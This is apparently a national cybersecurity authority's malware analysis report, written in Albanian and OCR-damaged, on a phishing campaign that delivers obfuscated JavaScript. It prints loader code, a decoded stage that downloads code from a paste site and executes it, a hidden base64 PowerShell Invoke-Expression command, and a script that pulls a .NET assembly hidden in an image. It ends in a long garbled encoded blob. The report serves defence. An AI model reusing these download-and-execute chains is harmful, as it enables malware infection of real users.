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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér té mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar c¢farédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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Informacione Teknike

Autoriteti Kombétar pér Siguriné Kibernetike (AKSK), né kuadér t& monitorimit té vazhdueshém
té fushatave té phishing dhe spear-phishing, ka identifikuar njé fushaté té re e cila pérdor metoda
té avancuara pér té shmangur sistemet tradicionale té sigurisé sé email-it. Kjo fushaté pérdor
dérgues té email-eve gé duken legjitimé dhe njé URL qé i referohet njé platforme té ruajtjes sé té
dhénave né cloud (Mediafire), e kamufluar si njé dokument PDF.

Pasi pérdoruesi klikon mbi dokumentin (bashkéngjitjen), ai ridrejtohet né njé URL Mediafire, ku
dokumenti shkarkohet automatikisht. Ky mekanizém shmang kontrollet e sigurisé qé bllokojné
shpeshheré ngarkimet direkte né email. Dokumenti i shkarkuar né pamje té paré duket i
padémshém, por né té vérteté pérmban njé skript té shkruar né JavaScript, i cili éshté i obfuskuar
— njé tekniké gé pérdoret pér té fshehur géllimin dhe funksionalitetin e kodit, duke e béré mé té
véshtiré pér t'u analizuar nga sistemet e sigurisé dhe analistét.

Pas ekzekutimit té kétij skripti JavaScript, i cili maskohet si njé aplikacion legjitim, fillon njé seri
aktivitetesh té dyshimta né sfond. K&to aktivitete pérfshijné ndérveprime me sistemin, rrjetin dhe
mundésiné e vendosjes sé njé backdoor pér akses té mévonshém. Né vijim paragitet njé analizé
teknike e detajuar e sjelljes sé kétij malware-i dhe teknikave té pérdorura nga aktorét e kércénimit.



Analiza e skedarit

Pas hapjes sé skedarit me ané té njé modifikues teksti do té evidentohen disa variabla té cilat kané
pérmbajtje té obfuskuar (fshehje e funksionalitetit té kodit) té cilat kané lidhje me njéra tjetrén.
Variablat né kété skedar jané shumica vargje karakteresh, té cilat gjaté ekzekutimit konkatenohen,
dekodohen dhe mé pas kalojné si parametra te variablat e tjera. Metodé mjaft e pérhapur pér té t’u
fshehur nga dedektimi i antiviruseve.

Variablat funambulation, talons, occluders, thalis, correctnesses, hereon pérdorin funksionet
split dhe join té javascript pér té rindértuar kéto vargje karakteresh.

1@ var funambulation = "MSA-zg(ME.E1 66,387 XML2. S A~z @D e sesaT erver A~z g D E &1 ee,maT XML /A 2 g (D ®4E T 8€,,8aT HTTP" . 5plit (" A ~x}
2 var jiggles = new ActiveXObject(funambulaticn);

4 var talons = "h/A -z E.élsepmaT t A -z@OEncletnsaT t A-x@OENET t63aT - p A 2@ O EET 8emaT : A 2@ OELET 6658aT ./ A ~x@ O EnE] a65m:
7 var occluders = T.") . join("") ;

var thalis = "/ ") . Join(""

9 var correctnesse DELE
10 var hereon = "/\ -2 ).3
12 jiggles[occluders] ("GET", talons, false);
13 jiggles[thalis] () ;

15 new this[hereon] (jiggles[correctnessesl) () ;

Figura 1 Skedari javascript

Pér té paré outputet e kétyre variablave dhe lidhjet midis tyre, modifikojmé kodin duke vendosur
console.log() pér secilin prej tyre.

Variabli funambulation pérmban vlerén e dekoduar MSXML2.ServerXMLHTTP.

MSXML2.ServerXMLHTTP éshté njé objekt COM (Component Object Model) i ofruar nga
Microsoft qé pérdoret pér té béré kérkesa HTTP nga aplikacione ose skripte gé funksionojné né
Windows — sidomos né ambiente si VBScript, ose edhe PowerShell. Ky objekt éshté pjesé e
librarise MSXML (Microsoft XML Core Services).

@ top w © T Filter Default levels w 8 25 €§3

........... B\ USLUUSU LGAUND UnL. 5 L@Lunag,

var occluders = "A-x@ ¢ EmmaT openiox@ OB 8En@AT"  split (" Az @ OB T 4E0@AT.") . Join("");
console.log("eccluders:”, occluders);

var thalis = "A-x@ @O E¢ i sEn@aT sendivezf OEE S€o@maTa" . split(" A @O B 6EmagaTa") . join("");
console.log("thalis:", thalis);

var correctnesses = "iv-x@ (D EW¢ | #Em@aT responseText/ivex D B¢ 8€n@aT." . split( Az @

B¢ 1 6€on®aT") . join("");

console.log("correctnesses: ", correctnesses);

var hereon = Az (O E.EI6€0BAT Functiond vz @ OEE $€magaT". split("Avxg O E.ei 6€mNaT-") . Join("");

console.log("herecn:", hereon);

funambulation: MSXMLZ.ServerXMLHTTP | VM1439:2

Decoded talons URL: M14G:7

http://paste. A—x@OE" 1 6€0aUaTee/Avs RAT. ddv i RaTe/herx., R T.-lr‘n."\vw

occluders: A=-xf@(OE¢i #€0aAT open VM149:11

thalis: Avwx@ B 8€nBaT-sendiwx @ (B | #EEAT - VM149:14
I correctnesses: responseText I vM149:17

hereon: Azl ()EC] 8Em®Eal-Functionhwzp D E | 8€aqaT~ VM149: 20
¢ undefined

[NEW] Explain Console errors by using Copilot in Edge: click () to explain an error. Learn m

Don't show again
ore

Tracking Prevention blocked access to storage for <URL>.
Figura 2 Vlerat e dekoduara



URL e dekoduar pérmban njé vleré hxxp[://]paste[.]ee/d/se4Qrn03/0 té cilén nése e hapim né njé
ambient sandbox do na paraqitet njé skedar pérséri javascript me vlera té obfuskuara.

var metals = ([J#[ ([]["Cypre ]+[])[e] + ([1["beneficiary"1+[1)[1] + ([]["pinnulation®]+[])[2] + ([]["aldopyranoses"1+[])[3] + ([1["overlines"]+[1)[4] + ([1["tirege”T+[1)[5] + ([1["helps"1+[1)[6] + ([1["beneficiaryl
["slice” ]+[]3[9]1[ “overlines” ]>[
var ([1+0 ([1["Cypress"]+[1)[] + ([]["beneficiary"]+[])[1] + ([]["pinnulation”]+[]1)[2] + ([]["aldopyranoses”]+[1)[3] + ([]["overlines"]+[1)[4] + ([]["tirage"]+[]1)[5] + ([I["helps"]+[]1)[6] + ([]["benefici:
oo 1 1) (91) eypressi o ats
var upstaters = ([1+[ ([1["Cypress 1+{1)[6] + ([)["beneficiary” [+[1)[1] + ([1["pinnulation”]+[)[2] + ([1["aldopyranases”]+{1)[3] + ([1["overlines™4I1)[4] + ([I["tirage"J+[1)[5] + ([1[helps™J+[1)[6] + ([1["beneficis
["slic +[])[9]][ beneﬁnary )2
‘(’H[’W : ”[ h { (][;% SyPrESS 1+[DIe] + ([1["beneficiary]+[])[1] + ([I["pin n"]+[1)[2] + ([1["aldopyranoses"]+[1)[3] + ([]["overlines"]+[]}[¢] + ([]["tirage"]+[1)[5] + ([1["helps"]+[1)[6] + ([]["bene

s "helps™ 3
var sw (?][ ‘CypresstI+(1)[0] + (()["beneficiary” H{1)[2] + ([1["pinnalation” 1+[1)[2] + ([]["aldopyrancses” +[1)[3) + ([)["everlines™T+(D[4] + ([I["tirage1+(1[S] + ([1["helps"1+(1)[6] + ([1["benetic:
“slic Dme"])[
var Palisade: [+ (1" CVP s"]+[1)[e] + ([1["beneficiary"]+[1)[1] + ([1["pinnulation"]+[])[2] + ([]["aldopyranoses"]+[])[3] + ([]["overlines"]+[])[4] + ([]["tirage"]+[1)[5] + ([1["helps"]1+[])[6] + ([]["bencficic
" shce ]+[])[9]][ “pinnulation” ])[2]

( ][‘Cypress 1+[1)[e] + ([1["beneficiary”1+[13[1] + ([1["pinnulation”]+[1)[2] + ([]1["aldopyraneses”]+[1)[3] + ([1["overlines"]+[1)[4] + ([1["tirage”1+[1)[5] + ([1["helps"1+[1)[6] + ([1["benefici:

1

ces Cypress"]+[1)[e] + ([1["beneficiary”+[1)[1] + ([1["pinnulation”]+[1)[2] + ([]["aldopyraneses”]+[])[3] + ([]["o nes "+ [4] + ([1["tirage"1+[1[5] + ([1["helps"1+[1)[6] + ([1["beneficic
["slice” [+[1[2]1" tlr‘age ])[ 1
var e

eyl [];[(][] [5%[ u ])][,,5])[@] + ([1["beneficiary"+[1)[1] + ([1["pinnulation”]+[1)[2] + ([1["aldopyranoses™]+[1)[3] + ([1["overlines"]+[1)[4] + ([1["tirage"]+[1)[5] + ([1["helps"]+[1)[6] + ([]["beneficiaryMe
+[1)[9]1+[1["Gar 7

var Atlas = ([1#[ ([1["Cypress™J+[])[6] + ([1["beneficiary”J+[1)[1] + ([1["pinnulation™+[])[2] + ([]["aldopyranoses”]+[1)[3] + ([1["overlines”]+[])[4] + ([]["tirage"]+[1)[5] + ([]["helps"]+[1)[6] + ([]["beneficiarym:
["slice"+[1)[2]1["aerier ] [8];

var pnlnm 1ng ([1+[Infinity][+[1])[e],
([+[Infinity][+[1D)[1],
ve: ([]+[I nfinity][+[]1])[2].
mu ([1#[Infinity][+[1])[3],
[Infinity][+[11)[4],

c ([+[InFinity][+[11)S]s
ol. Infinity][+[]1])[6],

di] []+[Inf1mty][+[]])[7]

<l Infinity][+[]1])[8],

( ‘r[Imc ty1+IDI8]:

Figura 3 Kod i obfuskuar javascript

Kodi: var jiggles = new ActiveXObject(funambulation);

Krijon njé objekt qé¢ mund té dérgojé kérkesa HTTP, duke pérdorur tekstin e méparshém
"MSXML2.ServerXMLHTTP".

var occluders pérmban vlerén open

var thalis pérmban vlerén send

dhe nése marrim vlerén pérfundimtare té dekoduar dalim né funksionin e méposhtém.

var jiggles = new ActiveXObject(""MSXML2.ServerXMLHTTP™);

Jiggles.open(""GET", ""http://paste.ee/d/se4Qrn03/0™, false);

jiggles.send();

new this.Function(jiggles.responseText)();

Pér té shmangur de-obfuskimin manual ekzekutojmé skriptin né njé ambient té izoluar dhe
evidentojme proceset gé krijohen né sistemin windows.

Duke génése kemi ActiveXobject gjaté ekzekutimit té kétij kodi do evidentojmé nisjen e njé

procesi né windows me emrin wscript.exe. Automatikisht nis ekzekutimi i njé kodi powershell.
. <001 6.768 K 19.224 K

Egpowershell exe 227 56,900 K 58876 K 7184 Windows PowerShell Microsoft Corporation
& conhostexe 0.51 3300K 9.324K 1132 Console Window Host Microsoft Corporation

Figura 4 Nisja e wscript.exe dhe powershell

Komanda e powershell-it &shté procesi child i wscript.exe. Komandén e powershell e ruajmé né
njé skedar text dhe evidentojmé parametrat -w hidden e cila shérben pér té nisur njé proces e cila
nuk shfaq asnjé output né ekran.



J *mal powershell.txt - Notepad -
File Edit Format View Help

"C:\Windows\System32\WindowsPowershell\v1l.@\powershell.exe” -nop "$loviride = 'JABNAHUAaQBJAGBAdWBhAHIATAASACAATWAWACBAUQBZAHEACABVAEBAOABAACBAZAAVAL
ACAARWBLAHQAUWBBAHIAZQBUAGCAKAAKAHTAZQBMAGWAZQB JAHQABWBPAHTIAZQADADSATABRAGEAdQBSAGEATAAOACAATWABADWAQEBBAFMARQA2ADQAXWBTAFQAQQBSAFQAPEA
+ACCAOWAKAHMADABhAGAAAABPAGAAZWAZADOATAANADWAPABCAEEAUWBFADYANABTAEUATEZBEADAAPZANADSATABhAHIAJABOAHIADWB SAHKAYWBVAHMAYQAZADBATAAKAHQADWE
VAHQAZQBYACAASQBUAGQAZQBAAEBAZEAOACQAABOAHUACQBhACKAOWAKAGAAYQBUAGBAZ EBVAHMACWB PAGWACWAZAD@ATAAKAHQADWBYAHQAZQBYACAASQBUAGQAZQBAAE
BAZgAOACQACWBSAGEAbEBOAGKAbEBNACKAOWAKAGEACZBOAGEACEBVAGWAEQBJAGBACWBhACAALQBNAGUATAAWACAALQBhAGAAZAAZACQADEBhAGAADWBMAGSACWBZAGKA
bABZACAALQBNAHQATAAKAGEACEBRAGEACEBVAGWALQBJAGBACWBhADSATABhAHTAABOAHTABWB SAHKAYWBVAHMAYQAEACSAPQAZACQAdABOAHUACQRhACAATABLAGAAZW
BOAGEAOWAKAGAAbWBUAGMAbWBUAGQAAQBBAGKADWBUAGUAZAAZADBATAAKAGAAYQBUAGBAZEZBVAHMACWBPAGHWACWAZACOATAAKAGEACEBOAGEACEBVAGWAEQBJAGBACWB
hADSAJABKAGKACWBSAGUAYQBMAGKAbEBNACAAPQAZACQAJABYAGBAABLAHTAL gBTAHUAYEBZAHQACEBPAGAAZWAOACQAYQRYAHQAZABYAGBADABSAGMADWBZAGEALA
AgACQAbgBVAGAAYWBVAGAAZABPAHQAAQBVAGAAZQBKACKAOWAKAGWAZQBWAGKAZABVAHMACABLAHIADQBhACAAPQAEAF SAUWBSAHMAJABLAGOAL ZBDAGBAbZB2AGUACEBO
AF@AOEAGAEYACEBVAGRAQEBhAHMAZQA2ADQAUWBRAHIAAQBUAGCAKAAKAGQAaQBZAGWAZQBhAGYAGQBUAGCAKQAZACQAYWBSAGUAYQBUAHUACABZACAAPQAZAF SAUWBSAHMA
dABLAGOALgZBSAGUAZgBSAGUAYWBRAGKAbWBUACAAQQBZAHMAZQBTAGIADABSAFBAOZAGAEWADWBhAGQAKAAKAGWAZQBWAGKAZ ABVAHMACABIAHIADQBhACKAOWAKAGBAYQBPA
GWAZQBYAHMATAAOACAAKWBKAGAABABPAGTAL gBIAESALEBTAGBADQBLAF@AL gBHAGUAJABNAGUAJABOAGBAZ AAOACCAVEBRAEKATWADACAASQBUAHYABWBIAGUAKAAKAGAAdQBS.

AGWALAAZAF SAbWBiAGOAZQBJAHQAWWBAAFOATABAACEAIABOAHKACABZAGBADQBLAHQAC gBpAHMAAASACCAIWASACCATWASACCATWASACCATQBTAETAdQBPAGWAZAANACHAIWANACWAIWANACKH
AJWANACWAIWANACWAIWBDADOAXABVAHMAZQBYAHMAXABQAHUAYEB SAGKAYWB CAEQAbWB 3AGAADABVAGEAZABZACCALAANAHEAEQB SAGBACWBTAGEATWASACCAAEBZACCALAANACCALAANACCALAANAGSAZQBOA
G8AZg
B1AHIAYQBUAGBACWBIACCALAANADIAIWASACCAIWAPACKA'
-replace '',"";$tutorly = [System.Text.Encoding]::Unicode.GetString([Convert] :|: FromBases4string($loviride));Invoke-Expression $tutorly;™

Figura 5 Skedari né powershell

Skedari powershell éshté i enkoduar me base64 e cila éshté e dukshme né funksionin e thérritur
FromBase64String, dhe mé pas payload thérritet nga funksioni Invoke-Expression duke i kaluar
né variablin $tutorly. Pér té kuptuar mé tej se cfaré po ekzekutohet modifikohet kodi duke
vendosur disa variabla pér debug dhe dekodohet nga base64.

|Kﬂmpﬂ X.

1 $gu1c0war = '0/QvqB8oMBx/d/ee. e#tsap//: Sp##h‘

2  Shypsometrist = $guicowar -replace '#',

3  $pondhawks = "https://archive. 0rg/d0wn1oad/new_image_20250413/new_image.jpg‘
4  $nominally = New-Object System.Net.WebClient

5 $nominally.Headers. Add( User-Agent', 'Mozilla/5.0")

6 S$reflectoire = $nominally.DownloadData($pondhawks)

7 $tooter = [System.Text.Encoding]::UTF8.GetString($reflectoire)

8 S$thuya = '<<BASE64_START>x>'

9 S$slanting = '<<BASEG4_END>>'
10 $arthrolycosa = $tooter.Index0f($thuya)
11 $%nanofossils = $tooter.Indexof($slanting)
12  $arthrolycosa -ge 0 -and $nanofossils -gt $arthrolycosa
13  S%arthrolycosa += $thuya.Length
14  $nonconditioned = $nanofossils - $arthrolycosa
15 S%disleafing = $tooter.Substring($arthrolycosa, $nonconditioned)
16  $lepidosperma = [System.Convert]::FromBase64String($disleafing)
17  S%cleanups = [System.Reflection. Assemb1y] :Load($Tepidosperma)
18 E$mailers = [dnlib.IO. Home] GetMethod( VAI'). Invoke(Snu11 [object[]] @(

19 $hypsometr1st ", , ", 'MsBuild', T, , . ', 'C:\Users\Public\Downloads",
20 "xylosma', "js', '', 'ketofuranose', '2', "'
21 |0

Figura 6 Vlera e dekoduar

Variabli $guicowar pérmban njé varg karakteresh e cila kalon si parametér tek varliabli
$hypsometrist dhe népérmjet -replace i modifikohet vlera dhe zévéndéson karakterin # me
karakterin t.

Vlera e output do jeté njé url e cila &shté né anén e kundért dhe ka vlerén:
hxxps[://]paste[.]Jee/d/x8Mo8qYQ/0



PYyDe8wFP8HDH7 g/ 0svDz7AE0ELDZ7Q80gsDAGH t0BGDNEWNOCpDNEghOAKD/ 5SgF0nDS
*YMIGDhXAYHBFDexghiMkFDYAAAAMCEE gDAAAODYEAKO40DI61h0UCDDEgg0AKD75Qe0QnDy SACO4MD L5 AbOsDG5Aa0cmD1 SAY041DZ51VOU1DT 5gS0gkDGSQBO4 JD24QN04 1 DmagHOYhDO4 g x4 TD23g TN YeDe 3 g 1INAcDG2gvNYbDU2g pNAZDN
yguMILDtywgHoKDoygpMOKD jy AmY DTy g i MY IDFxg FMEHD3x gdMQHDt xAbMOGDUx QUMK EDGX ABMEDDSwAPH DD S wNHUDDWIg LMACD swgKMgCDmQTMEBDawAGHM cBDHWAFHIBDQwNCMKADTWgBMQAD CHQARAEAKAYAS ABDE/ Q+PI/ Dv/ g4PA+Dd
8ANPBYDr8QKPwxDa8WFPUXDTEEBPQUDB 7/ 0BVDW7 g 705 uDN7 g 205t DV70B0QsDCEWvOs rD36gs0EGDF6ANOgpDUBHTO4nDE5Qe0UNDOS g ZNTVDH 1 gSHkUDT 1ARNMOD /800N cTD28QNNQTDZ@gMNA SD BQKNMSDhBA TNSRD 2@QHNWRDY EwFNMRDN
ygvMWLD7yguMkLD1yurMAKDoy gpMUKDkywoMIKDeyQnHk DTy QkMAIDMywi Me IDBxwFM4HDSX QetigHDex gbMuGD rxgalk GD1 xAZMAGD&x AWM F Dk QVMEFDOXATHY EDExwQMTAD+wQPMKDDZuQMMADDvig LMoCDpwQ IMEBDdwAHHS BDXwg FMIBDHM
AWAAGAIA2ghNQUDv1gbNeWDg1AWNSUD] 1ASNQQD+BANNWSD1@AINWRDb BgGHKBAAAADAGAGAZ g2Mk D7y guMkL D4ywtHYLD1y gsSMEL DwynrtaKDtyArtsKDgyQqMgKDny gpHUK DkywoMIKDhyAoME IDey QntwIDby gmMk IDYywlHY I DVyA 1MMIDS
ygvMuLDEYAUMYLD@ygSMALDuy ArtioKDoy gpHQKDi yAck4 IDCy gmig IDyALMI IDQy g JMwIDKy ALMYIDEy ggHAE D XA fHOHD4x gdMQHDYXACMAGD s X gaMg BDMXAZMIGDg XXM F DaxAMYF DUxgUMAF DOXATMOEDI X gRMQEDCXAAMADDEKgOMEDD2
gDAAABDH/A/PO/DA/ gIPQ/ Dy/ ABP4+Ds /g6Pg+Dm/ ASPT+Dg/ g3PwaDa/ A2PY9DU/ gBPASDO/ AzPoSDI/ gxPQEDC/ AGPA7D8+guUPE7D2+AtPI7D+grPrEDG HAGPY 6Dk +goPAGDE HANPOSDY+g1PQSDS+AkP44DIH g1Pg4DGHANPI4DAIg FPU3DE
8APP0zD48gNPQzDyBAMPAYDSSEKP gy DMBATPLyDg8gHPuXDaBAGPYXDUSEEPAXDOBADPONDISWEPUNDDEQWOEY DS 7v+0kvD37QI0MYDX71708uDr 7Q60c uD1 7w40EUDF7Q305t DZ7W1 0ULDT7Q@08SDNTwyOk sDH7 QxOMsDBEwv0RrD7 6QuOCcrDl
5wdOURDz 5Qc08mDt51wa0kmDnSQZ0MMDh 5+X08 1DbSQHOC 1DVSWUOELDP5QT0s kDI 5wROUKDDS QA0S D94w00k D34QNOM I Dx4wL 081 DraQKOC 1D14wOE iDF4QHOS hDZ4wFOUh DTAQEOBEDNAWC Ok gDHAQBOMEDB 3w/ NBFD73Q+NC FD1 3wBNEFDY
20sN8aDt 2wghkaDn2QpNMaDh2wnNBZDb 2Qmic ZDV 2wkNEZDP2Qj NsYDI 25h NUYDD2QQNBXDS 1weNkXD31QdNIXDx 1wbNOWDr 1QaNclD1 1rYNEWDT 1QXNsVDZ 1wVNUVDT 1QUNSUDN1wSHkUDH1QRHMUDB@QKNC SD18w INESDFQHNSRDZEwFNURDT
ywkMAIDNyg iMc IDEyQQMAHD7xAMQHDX xgbMs GDoxQZMIGDFx AXMKF DivxwlUMAF DNxg SMc EDEXQAMADD 7wACHMUD Dy v LMn CDpwg JMMCDgwQHMoB DX wAF MEBDOwwCHMgADFugAAAMAEAUABABD/ / A/ Pk /D2 /wBPA/ Dt/ g6PC+Dk/Q4PASDb /AZPUSDS
SAFPHXDSBQEPAXDPEgDPENDMEHCPoUD] BACPYWDFSABPHWDCSQAPASD/ 7g/ 08vDE7w+00vD57A+0cvD27Q30QvDz 78 B0EVDW7W704uDt7A705uDG7Q60guDN 75 0UuDk 7w40TuDh7 A408t De7Q30wtDb7A20C tDH7Q100tDT7g00E tDQ7wz04SDN
68LAAAALAUAS AAAAGQENARDPOEDNOQDHEHCNOQD 1 BACN CQDGAQBNQQDDBgANAMD / 28 /MOPDS 2w H1kPD22QIMQP Dz 25 BHEPDWzW7MBODs znEMo0Dp ZAGMCODMzASMICAAAWF AF AKABWPOYQD 1 6ApOMGD16Q00AqDTEgNOBPD c 6rmO0pDZ 6AMOCPD
5wd0YnD15Ad0MNDySQcOANDYS gb0@mDs SwalomDpSAa0cnDmSQZ0QmD 5gYOEMDgSWX04 1Dd5AX0s 1Da5Qli0g 1 DXSgVOU1DUSWUOT1DRSAUOSKDOSQTOnKDL S5 0kkDISWROYKDF SABOS {D+4QPOWIDE4ANNS FD+AAAAZDQBQCAAAUDC 1gHNgVD
@AGNYRDUBZENARDOBADNCQDIOEENQODC BAWIAPDBZ g+HgPD 2z ASMIPDWz g7 MuODGzABMYODk zg4MADDE A3 MONDY 2 1HQHDS ZAGMAMDHz gy MgMDG ZAxMIMDAY gvMuLDEYAUMYL DBy 2 sMAL DuyArMoKDoy g pMOKD1y AoMd ID ey gmHg 1 Dy ATMIIDQ
*gUMAF DOXATHOEDTxgRMQEDCX AAMADDEHgOMgDD 2wANM T DDwwg L MrCDuiAkMYCDking TMACDewAHMoBDYsg FMOBDSWAEN4ADMg CMEADGHABMT ADAAAQACBQBACKP4 DS/ g+Pg/ D2/ ASPT/Dw/ g7Pu+Dq/ ABPY+Dk/ g4PA+De /A3PoSDY/ g1PQoDS
+Q1PHSDR+wP@4DL+Qi PcADF+1gPEBD/ 9QFP s 3D59wdPU3Dz9QCP 82Dt SwaPk 2Dn9QZPM2DhSwXPA1DbI QWP C 1 DVIWUPE1DPSQTPSADISWRPUBDDIQAPE 2DS 8uwDPk 2D380NPMz DX 8L PRy Dr8OKPcyD18WIPEy DFBQHP sxDZBFPUXDT 8QEPSHDN
7INZD@5DL7Qyﬂ(SDF7WwOEDD[’6Q\JDS r'DEEthUr‘DZEQSDSthquDkqDnEpr&“\qDhEMnDBprGQmO(pDVEwkUEpDPﬁQjﬂSDD]GwhﬂUDDDGQ@)SHDQSWEUknD35QdDMnD)(5whDGmDr‘EQaD(le SwYOEmDF50X0s 1DZ5wVOU1DT5QUOSkDNSwSOkkDH
4QC0cgDFANAOECD/ 3Q/NsTD53wINUTDz 308NSeDt 3wsNkeDn3Q5NMeDh 3u3NedDb3Q2Ne dDV3WNEDP 2 AZMCNDWzQ1MQNDT zg@HENDQz W zMAMDN ZAZMS MDK Qy MgHDHZ g/ UMDE 2wwM IMDB zAgME LD +yQuiwLD7y guMk LD4ywt MY LDy ANHS BDZ
/Q5PIHDh/w3P@IDb/Q2PcIDV/ wePESDP /QzPs 8D /wxPUSDD/QgPE7D9 +iuPk7D3+QtPM7Dx+wrPOSDr+QqPCED 1 +woPEEDT +QnPs5DZ+nlPUSDT+QkPEADN i Pk4DH+QhPMADE 3W2NodDZ3A2Nc dDL3QINQADT 3geNEDQ3nzNACDK3QyNg cDH
2gnN@Z0c 1weloXD51ANMXDy 1QeNAXDyY 1gbNBkD g 1QaNghDn 1 gZNUWDK 1Y NIWDh1AYNBYDe 10XNVDb 1 ghiNkVDY 1wVHYVDV 1LAVNMVDS 1QUNAVDP 1 g THBUDM 1wS NoUDI LASNcUDG1QRNQUDD1 gQHEUDAGNPNATD98APNS TD60QONZ TDIBgNNUTDE
y4oMEK§eyAnHmIDXy T1MIJ TOY8iMLT2Gy ERMHET / xMFHMpHZ 3xUdMLHTixcbMEGTmxBYMF GT ex4iMKF JhxAVHGFDPXTI THoE JHX TRMHAT /wHPMpDz 3uQMMpC  heGMIB PuODHGADTWYBMMAT AAAAAY CQBOBWPA/ §7/Q+Pa/ DO/ YBPE+js/g6Pe+TL
@OLNrS3pzcBHTT jAyutMIF] ixsXMyFzXx TUMGEDEwkHMpCTWEIMIB TewBAMHAAAAZ TAFAEAARWPD/ T4/ KIPR/ Ty /Q3PY 12y SECPX2] 194RPVEDDBCPPzx jWUBIBPAS 2 87g+0EVD] 7c40ttJAGISOFKDS5420pnz45870F gzQ34FNAVIOZ0hMRLT
fISPXEDD+4qu?Tﬂ{YMPByT]GgKDdhj KBMENG(TIBDXNTI“\IZ\VDMHDDDijIAAAADAUAIAAWEIP1ijE((PfQDTZAuHELz\IyAr‘HHKZcxubM{»E 2]VIQZIMRAAAA\M(AFABA/WMPX?T]'+BMPEQZWI?G/DZSZBEUVO+FDT6ijxgjT4BZN6HT4Zk9HDPTr‘
@EPNKMSykvHvKDZy sVMvH | SxkiMgBT3ut ] ARAAT AQASABDN/ wiP 37289 Ps1iNBIWO4 L jHAGENGT Tp3@y NIY 1928 rNXZDK14 FNVS TV@AIM2PDS 25 1MVE JOAAAAABABEDARAY TF +8gPFOT/ OYPPxSTO7IHORYZv78q04 2D3A9N+eDr305NIeid
zg+MgPZwzU7HMO ZzwUMBE ] BwkNMHDZ rHYKIpAAAAETAEANA/ 12PLOJP/EzPk4z4+YtPP7DY+ESPESTO+SRP@3 j@9c aPz 12 T9AUP 202 LET104r DS IF0BKISMROLET /4 LOpi TL4MIObc Tu3AgH4b} 62k tNMb Tr2 EoNs ZDW2wkNDU zwlAbNOWDa
/ATPASDI/AXPGAT ++BUPE7 x+8rP46Ts+4nPpSDZ+M1P] 52K+8QPI32690dPixTHEI Z0HVDoESPOY gz E3UGNKZ T628hNQYDC 1SNNLS | YEENSQTIO@wWHANT EYEqHL]§ TxTdMLHz 1xwCH /DDVWELMoCDhw FMNBAARATAEAL AAAWP3/ 27 /87PU+TA
6wu0CNZ25YY021 THAUCOWC Ty3EKNBbTE 2UtN4aT g283NOUT ELMANST 2580MNC TDMAEEN1QTKOUBNIMz pz 85MBOT e 2E 3HPHDIy ESMSITXy BRMVE 28xB8dMCHz kxwXMNFDOWEOMEDAAAQL AEAKAAAWPT +21+BUP 6 $h+M1P703 s90ZPO2DWIUUPHND+
WYGARAAZAQAKAAAATWZOEOZASBMOpcz/ 3U/N1czC2suN4az X1 YbNvAjn1EUNZUL1ESNLQTS@4ONNT TRO2THOT JRX Y BHEGT ax BV ADYWT LMUAAAAAFAEATAARKPH/ §n/A1PGS 21+C TPb3DXS0 TPdw] 684MPdy zb7Y+0Kv To7 gn06 rD36MrOKq 26
BELNBSDS Zg+l‘thanYKNg/-\AAAQIAEF\HAwaFEyj n?I90zuTk7MyﬂBnTﬁﬁwtOSrTMﬁwhDch BSSfDlmTnSEXUVJleSSTﬂquI SVRﬂPkDAQDPDZjD&3w2thTAZqujaTnZDﬂNEZDdZBINTZDSZIkNQYDGZBQNI‘XZQlQaM(WZ\n‘lAFNQTZEBA]NISj e
yesM7KIqy4pHMKDay k1ML TRy QiMF I1zCyAQMrH  3xMdIkG hX EYMBF Te xUVMXA /uk PM@DT 61gLMUC z jwo IM/ Bz YimEMXADLwc CMCADARAQAEAABE BWPW/ 22 /08PF/ ju/g5PG+Da/M2PeozU/ czPi4D+HIvPU724+C P96 0 +OPPYET J+ENPCSDO
8YFPRxJRBMX0vYj67U+0avTv7kS01tDR7wyOns j17cx0F0z46Ut0IrjusEGOGP 65 10LpzDECQOGNT55A0Zn X SwON 1 TVS4UOI1TQS cBOY { TE4EOOVjDu44KOL iTg4wG0bh TO48C01gTG38/ NufTu3ATNFezk3g3Nnd M35 iN+bzO24TNCX r
y4pMe175yehHLEZ LusHMDC THnMDMNAAAAQEAEAEA/ gHP By 1q8QqN2bD8 28nN3 2 TG1oeNgX 12 EnMIXF JquAZMSF ZYXAVH2ADSWI EAAMANAQAMARAA  ArPr2289we PR32y 9QcP222q9QaP 31 1X8w70107 s6UpONGDhEEVONN ThS@X0qg 182 INI TTu
64p0TqzX6cS0gET54cKOL 2d45COHC Iy 304NgdzQ3BgNTbzv24gNIaTe 2kmhdZ 2521 JHQUIB1QeNXX3 @1UcNAX 7t 1k aN{WDm1 TZNHNz FLOXNUVTX 1gVHIVFIMANE TT4GQNNPT Tm@c TNDNT sz 46MY T zyY rHin JDXy MM HzOwoOHWD Zy wAMMT CTs
5cfOunzg5eX031Tb5kROFgz/4800t1Ik4ATOVhZ4wFOURIQ30/ NxF233g3NudTX3g 1MMdzR30zNoc TI30gNBb § 328 sNFaDa 2 TVNeQT 78 TONHT 208 THINZ T zEZMT T zxQeMXHz xxobMCA WAL M COMWOHMEB zNWBBAAAAFAQAAAB 15/ TXPP3ju
XTTMUE JKXYSH1E jHxORMHE ] EXAQMKAT 7 AAAABAWAZDEP ZMT Tz @xMZMTF zExMNMT CzUgHS ITAx @ FMSHTIXEFMEHT6xUeHcBTSWEOMADT 2WUNMRDT zwkMHBAAAAAEADANA/B7P5+ Tt/ E7P+Tq/ USPh+DGSQYPyY 1DUS STPBBTC 7weNrNz7 yMXMXDAA
